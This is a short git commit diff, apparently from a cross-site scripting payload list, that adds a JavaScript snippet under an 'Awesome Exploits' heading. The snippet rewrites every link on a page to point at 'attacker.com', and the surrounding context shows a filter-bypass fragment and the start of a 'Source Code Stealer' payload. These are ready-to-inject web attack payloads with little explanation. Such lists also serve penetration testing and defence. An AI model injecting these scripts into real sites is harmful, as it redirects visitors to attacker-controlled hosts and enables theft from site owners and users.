added link replace exploit
This commit is contained in:
parent
d2c9fe95ad
commit
7a40295489
1 changed files with 6 additions and 0 deletions
|
@ -122,6 +122,12 @@ new class extends confirm``{}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Awesome Exploits
|
### Awesome Exploits
|
||||||
|
##### Replace all links
|
||||||
|
```javascript
|
||||||
|
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
|
||||||
|
i.href = "https://attacker.com";
|
||||||
|
});
|
||||||
|
```
|
||||||
##### Source Code Stealer
|
##### Source Code Stealer
|
||||||
```javascript
|
```javascript
|
||||||
var request = new XMLHttpRequest();
|
var request = new XMLHttpRequest();
|
||||||
|
|
Loading…
Reference in a new issue